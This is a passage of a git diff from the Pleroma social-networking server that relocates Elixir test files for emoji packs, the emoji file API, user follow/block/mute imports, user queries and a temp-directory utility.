"add emoji file", %{pack: pack} do - file = %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - - {:ok, updated_pack} = Pack.add_file(pack, "test_blank", "test_blank.png", file) - - assert updated_pack.files == %{ - "test_blank" => "test_blank.png" - } - - assert updated_pack.files_count == 1 - end -end diff --git a/test/pleroma/config/deprecation_warnings_test.exs b/test/pleroma/config/deprecation_warnings_test.exs index 02ada1aab..0cfed4555 100644 --- a/test/pleroma/config/deprecation_warnings_test.exs +++ b/test/pleroma/config/deprecation_warnings_test.exs @@ -87,7 +87,7 @@ defmodule Pleroma.Config.DeprecationWarningsTest do end test "check_activity_expiration_config/0" do - clear_config([Pleroma.ActivityExpiration, :enabled], true) + clear_config(Pleroma.ActivityExpiration, enabled: true) assert capture_log(fn -> DeprecationWarnings.check_activity_expiration_config() diff --git a/test/pleroma/emoji/pack_test.exs b/test/pleroma/emoji/pack_test.exs new file mode 100644 index 000000000..70d1eaa1b --- /dev/null +++ b/test/pleroma/emoji/pack_test.exs @@ -0,0 +1,93 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.PackTest do + use ExUnit.Case, async: true + alias Pleroma.Emoji.Pack + + @emoji_path Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + + setup do + pack_path = Path.join(@emoji_path, "dump_pack") + File.mkdir(pack_path) + + File.write!(Path.join(pack_path, "pack.json"), """ + { + "files": { }, + "pack": { + "description": "Dump pack", "homepage": "https://pleroma.social", + "license": "Test license", "share-files": true + }} + """) + + {:ok, pack} = Pleroma.Emoji.Pack.load_pack("dump_pack") + + on_exit(fn -> + File.rm_rf!(pack_path) + end) + + {:ok, pack: pack} + end + + describe "add_file/4" do + test "add emojies from zip file", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "emojis.zip", + path: Path.absname("test/fixtures/emojis.zip") + } + + {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) + + assert updated_pack.files == %{ + "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", + "auroraborealis" => "auroraborealis.png", + "baby_in_a_box" => "1000px/baby_in_a_box.png", + "bear" => "1000px/bear.png", + "bear-128" => "128px/bear-128.png" + } + + assert updated_pack.files_count == 5 + end + end + + test "returns error when zip file is bad", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "emojis.zip", + path: Path.absname("test/instance_static/emoji/test_pack/blank.png") + } + + assert Pack.add_file(pack, nil, nil, file) == {:error, :einval} + end + + test "returns pack when zip file is empty", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "emojis.zip", + path: Path.absname("test/fixtures/empty.zip") + } + + {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) + assert updated_pack == pack + end + + test "add emoji file", %{pack: pack} do + file = %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + + {:ok, updated_pack} = Pack.add_file(pack, "test_blank", "test_blank.png", file) + + assert updated_pack.files == %{ + "test_blank" => "test_blank.png" + } + + assert updated_pack.files_count == 1 + end +end diff --git a/test/pleroma/user/import_test.exs b/test/pleroma/user/import_test.exs new file mode 100644 index 000000000..e404deeb5 --- /dev/null +++ b/test/pleroma/user/import_test.exs @@ -0,0 +1,76 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.ImportTest do + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "follow_import" do + test "it imports user followings from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.follow_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.following?(user1, user2) + assert User.following?(user1, user3) + end + end + + describe "blocks_import" do + test "it imports user blocks from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.blocks_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.blocks?(user1, user2) + assert User.blocks?(user1, user3) + end + end + + describe "mutes_import" do + test "it imports user mutes from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.mutes_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.mutes?(user1, user2) + assert User.mutes?(user1, user3) + end + end +end diff --git a/test/pleroma/user/query_test.exs b/test/pleroma/user/query_test.exs new file mode 100644 index 000000000..e2f5c7d81 --- /dev/null +++ b/test/pleroma/user/query_test.exs @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.QueryTest do + use Pleroma.DataCase, async: true + + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.User.Query + alias Pleroma.Web.ActivityPub.InternalFetchActor + + import Pleroma.Factory + + describe "internal users" do + test "it filters out internal users by default" do + %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() + + assert [_user] = User |> Repo.all() + assert [] == %{} |> Query.build() |> Repo.all() + end + + test "it filters out users without nickname by default" do + insert(:user, %{nickname: nil}) + + assert [_user] = User |> Repo.all() + assert [] == %{} |> Query.build() |> Repo.all() + end + + test "it returns internal users when enabled" do + %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() + insert(:user, %{nickname: nil}) + + assert %{internal: true} |> Query.build() |> Repo.aggregate(:count) == 2 + end + end +end diff --git a/test/pleroma/utils_test.exs b/test/pleroma/utils_test.exs new file mode 100644 index 000000000..460f7e0b5 --- /dev/null +++ b/test/pleroma/utils_test.exs @@ -0,0 +1,15 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UtilsTest do + use ExUnit.Case, async: true + + describe "tmp_dir/1" do + test "returns unique temporary directory" do + {:ok, path} = Pleroma.Utils.tmp_dir("emoji") + assert path =~ ~r/\/emoji-(.*)-#{:os.getpid()}-(.*)/ + File.rm_rf(path) + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/emoji_file_controller_test.exs new file mode 100644 index 000000000..82de86ee3 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/emoji_file_controller_test.exs @@ -0,0 +1,357 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do + use Pleroma.Web.ConnCase + + import Tesla.Mock + import Pleroma.Factory + + @emoji_path Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) + + setup do: clear_config([:instance, :public], true) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + admin_conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + Pleroma.Emoji.reload() + {:ok, %{admin_conn: admin_conn}} + end + + describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/files?name=:name" do + setup do + pack_file = "#{@emoji_path}/test_pack/pack.json" + original_content = File.read!(pack_file) + + on_exit(fn -> + File.write!(pack_file, original_content) + end) + + :ok + end + + test "upload zip file with emojies", %{admin_conn: admin_conn} do + on_exit(fn -> + [ + "128px/a_trusted_friend-128.png", + "auroraborealis.png", + "1000px/baby_in_a_box.png", + "1000px/bear.png", + "128px/bear-128.png" + ] + |> Enum.each(fn path -> File.rm_rf!("#{@emoji_path}/test_pack/#{path}") end) + end) + + resp = + admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + file: %Plug.Upload{ + content_type: "application/zip", + filename: "emojis.zip", + path: Path.absname("test/fixtures/emojis.zip") + } + }) + |> json_response_and_validate_schema(200) + + assert resp == %{ + "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", + "auroraborealis" => "auroraborealis.png", + "baby_in_a_box" => "1000px/baby_in_a_box.png", + "bear" => "1000px/bear.png", + "bear-128" => "128px/bear-128.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + Enum.each(Map.values(resp), fn path -> + assert File.exists?("#{@emoji_path}/test_pack/#{path}") + end) + end + + test "create shortcode exists", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(:conflict) == %{ + "error" => "An emoji with the \"blank\" shortcode already exists" + } + end + + test "don't rewrite old emoji", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir/") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank3" => "dir/blank.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank", + new_shortcode: "blank2", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:conflict) == %{ + "error" => + "New shortcode \"blank2\" is already used. If you want to override emoji use 'force' option" + } + end + + test "rewrite old emoji with force option", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir_2/") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank3" => "dir/blank.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank3", + new_shortcode: "blank4", + new_filename: "dir_2/blank_3.png", + force: true + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank4" => "dir_2/blank_3.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") + end + + test "with empty filename", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank2", + filename: "", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(422) == %{ + "error" => "pack name, shortcode or filename cannot be empty" + } + end + + test "add file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=not_loaded", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "remove file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=blank3") + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "remove file with empty shortcode", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=") + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "update file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=not_loaded", %{ + shortcode: "blank4", + new_shortcode: "blank3", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "new with shortcode as file with update", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank4", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank4" => "dir/blank.png", + "blank2" => "blank2.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank4", + new_shortcode: "blank3", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(200) == %{ + "blank3" => "dir_2/blank_3.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + refute File.exists?("#{@emoji_path}/test_pack/dir/") + assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") + + assert admin_conn + |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + refute File.exists?("#{@emoji_path}/test_pack/dir_2/") + + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir") end) + end + + test "new with shortcode from url", %{admin_conn: admin_conn} do + mock(fn + %{ + method: :get, + url: "https://test-blank/blank_url.png" + } -> + text(File.read!("#{@emoji_path}/test_pack/blank.png")) + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank_url", + file: "https://test-blank/blank_url.png" + }) + |> json_response_and_validate_schema(200) == %{ + "blank_url" => "blank_url.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/blank_url.png") + + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/blank_url.png") end) + end + + test "new without shortcode", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/shortcode.png") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + file: %Plug.Upload{ + filename: "shortcode.png", + path: "#{Pleroma.Config.get([:instance, :static_dir])}/add/shortcode.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "shortcode" => "shortcode.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + end + + test "remove non existing shortcode in pack.json", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "Emoji \"blank3\" does not exist" + } + end + + test "update non existing emoji", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank3", + new_shortcode: "blank4", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "Emoji \"blank3\" does not exist" + } + end + + test "update with empty shortcode", %{admin_conn: admin_conn} do + assert %{ + "error" => "Missing field: new_shortcode." + } = + admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:bad_request) + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/user_import_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/user_import_controller_test.exs new file mode 100644 index 000000000..433c97e81 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/user_import_controller_test.exs @@ -0,0 +1,235 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + + import Pleroma.Factory + import Mock + + setup do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "POST /api/pleroma/follow_import" do + setup do: oauth_access(["follow"]) + + test "it returns HTTP 200", %{conn: conn} do + user2 = insert(:user) + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) + end + + test "it imports follow lists from file", %{conn: conn} do + user2 = insert(:user) + + with_mocks([ + {File, [], + read!: fn "follow_list.txt" -> + "Account address,Show boosts\n#{user2.ap_id},true" + end} + ]) do + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{ + "list" => %Plug.Upload{path: "follow_list.txt"} + }) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == [user2] + end + end + + test "it imports new-style mastodon follow lists", %{conn: conn} do + user2 = insert(:user) + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{ + "list" => "Account address,Show boosts\n#{user2.ap_id},true" + }) + |> json_response_and_validate_schema(200) + + assert response == "job started" + end + + test "requires 'follow' or 'write:follows' permissions" do + token1 = insert(:oauth_token, scopes: ["read", "write"]) + token2 = insert(:oauth_token, scopes: ["follow"]) + token3 = insert(:oauth_token, scopes: ["something"]) + another_user = insert(:user) + + for token <- [token1, token2, token3] do + conn = + build_conn() + |> put_req_header("authorization", "Bearer #{token.token}") + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{"list" => "#{another_user.ap_id}"}) + + if token == token3 do + assert %{"error" => "Insufficient permissions: follow | write:follows."} == + json_response(conn, 403) + else + assert json_response(conn, 200) + end + end + end + + test "it imports follows with different nickname variations", %{conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = + [ + user2.ap_id, + user3.nickname, + " ", + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join("\n") + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{"list" => identifiers}) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + describe "POST /api/pleroma/blocks_import" do + # Note: "follow" or "write:blocks" permission is required + setup do: oauth_access(["write:blocks"]) + + test "it returns HTTP 200", %{conn: conn} do + user2 = insert(:user) + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) + end + + test "it imports blocks users from file", %{conn: conn} do + users = [user2, user3] = insert_list(2, :user) + + with_mocks([ + {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} + ]) do + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{ + "list" => %Plug.Upload{path: "blocks_list.txt"} + }) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + test "it imports blocks with different nickname variations", %{conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = + [ + user2.ap_id, + user3.nickname, + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join(" ") + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + describe "POST /api/pleroma/mutes_import" do + # Note: "follow" or "write:mutes" permission is required + setup do: oauth_access(["write:mutes"]) + + test "it returns HTTP 200", %{user: user, conn: conn} do + user2 = insert(:user) + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == [user2] + assert Pleroma.User.mutes?(user, user2) + end + + test "it imports mutes users from file", %{user: user, conn: conn} do + users = [user2, user3] = insert_list(2, :user) + + with_mocks([ + {File, [], read!: fn "mutes_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} + ]) do + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{ + "list" => %Plug.Upload{path: "mutes_list.txt"} + }) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) + end + end + + test "it imports mutes with different nickname variations", %{user: user, conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = + [ + user2.ap_id, + user3.nickname, + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join(" ") + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{"list" => identifiers}) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) + end + end +end diff --git a/test/pleroma/web/rich_media/helpers_test.exs b/test/pleroma/web/rich_media/helpers_test.exs index 4b97bd66b..4c9ee77d0 100644 --- a/test/pleroma/web/rich_media/helpers_test.exs +++ b/test/pleroma/web/rich_media/helpers_test.exs @@ -6,7 +6,6 @@ defmodule Pleroma.Web.RichMedia.HelpersTest do use Pleroma.DataCase alias Pleroma.Config - alias Pleroma.Object alias Pleroma.Web.CommonAPI alias Pleroma.Web.RichMedia.Helpers diff --git a/test/user/import_test.exs b/test/user/import_test.exs deleted file mode 100644 index e404deeb5..000000000 --- a/test/user/import_test.exs +++ /dev/null @@ -1,76 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.ImportTest do - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "follow_import" do - test "it imports user followings from list" do - [user1, user2, user3] = insert_list(3, :user) - - identifiers = [ - user2.ap_id, - user3.nickname - ] - - {:ok, job} = User.Import.follow_import(user1, identifiers) - - assert {:ok, result} = ObanHelpers.perform(job) - assert is_list(result) - assert result == [user2, user3] - assert User.following?(user1, user2) - assert User.following?(user1, user3) - end - end - - describe "blocks_import" do - test "it imports user blocks from list" do - [user1, user2, user3] = insert_list(3, :user) - - identifiers = [ - user2.ap_id, - user3.nickname - ] - - {:ok, job} = User.Import.blocks_import(user1, identifiers) - - assert {:ok, result} = ObanHelpers.perform(job) - assert is_list(result) - assert result == [user2, user3] - assert User.blocks?(user1, user2) - assert User.blocks?(user1, user3) - end - end - - describe "mutes_import" do - test "it imports user mutes from list" do - [user1, user2, user3] = insert_list(3, :user) - - identifiers = [ - user2.ap_id, - user3.nickname - ] - - {:ok, job} = User.Import.mutes_import(user1, identifiers) - - assert {:ok, result} = ObanHelpers.perform(job) - assert is_list(result) - assert result == [user2, user3] - assert User.mutes?(user1, user2) - assert User.mutes?(user1, user3) - end - end -end diff --git a/test/user/query_test.exs b/test/user/query_test.exs deleted file mode 100644 index e2f5c7d81..000000000 --- a/test/user/query_test.exs +++ /dev/null @@ -1,37 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.QueryTest do - use Pleroma.DataCase, async: true - - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.User.Query - alias Pleroma.Web.ActivityPub.InternalFetchActor - - import Pleroma.Factory - - describe "internal users" do - test "it filters out internal users by default" do - %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() - - assert [_user] = User |> Repo.all() - assert [] == %{} |> Query.build() |> Repo.all() - end - - test "it filters out users without nickname by default" do - insert(:user, %{nickname: nil}) - - assert [_user] = User |> Repo.all() - assert [] == %{} |> Query.build() |> Repo.all() - end - - test "it returns internal users when enabled" do - %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() - insert(:user, %{nickname: nil}) - - assert %{internal: true} |> Query.build() |> Repo.aggregate(:count) == 2 - end - end -end diff --git a/test/utils_test.exs b/test/utils_test.exs deleted file mode 100644 index 460f7e0b5..000000000 --- a/test/utils_test.exs +++ /dev/null @@ -1,15 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UtilsTest do - use ExUnit.Case, async: true - - describe "tmp_dir/1" do - test "returns unique temporary directory" do - {:ok, path} = Pleroma.Utils.tmp_dir("emoji") - assert path =~ ~r/\/emoji-(.*)-#{:os.getpid()}-(.*)/ - File.rm_rf(path) - end - end -end diff --git a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs deleted file mode 100644 index 82de86ee3..000000000 --- a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs +++ /dev/null @@ -1,357 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do - use Pleroma.Web.ConnCase - - import Tesla.Mock - import Pleroma.Factory - - @emoji_path Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) - - setup do: clear_config([:instance, :public], true) - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - admin_conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - Pleroma.Emoji.reload() - {:ok, %{admin_conn: admin_conn}} - end - - describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/files?name=:name" do - setup do - pack_file = "#{@emoji_path}/test_pack/pack.json" - original_content = File.read!(pack_file) - - on_exit(fn -> - File.write!(pack_file, original_content) - end) - - :ok - end - - test "upload zip file with emojies", %{admin_conn: admin_conn} do - on_exit(fn -> - [ - "128px/a_trusted_friend-128.png", - "auroraborealis.png", - "1000px/baby_in_a_box.png", - "1000px/bear.png", - "128px/bear-128.png" - ] - |> Enum.each(fn path -> File.rm_rf!("#{@emoji_path}/test_pack/#{path}") end) - end) - - resp = - admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - file: %Plug.Upload{ - content_type: "application/zip", - filename: "emojis.zip", - path: Path.absname("test/fixtures/emojis.zip") - } - }) - |> json_response_and_validate_schema(200) - - assert resp == %{ - "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", - "auroraborealis" => "auroraborealis.png", - "baby_in_a_box" => "1000px/baby_in_a_box.png", - "bear" => "1000px/bear.png", - "bear-128" => "128px/bear-128.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - Enum.each(Map.values(resp), fn path -> - assert File.exists?("#{@emoji_path}/test_pack/#{path}") - end) - end - - test "create shortcode exists", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(:conflict) == %{ - "error" => "An emoji with the \"blank\" shortcode already exists" - } - end - - test "don't rewrite old emoji", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir/") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - 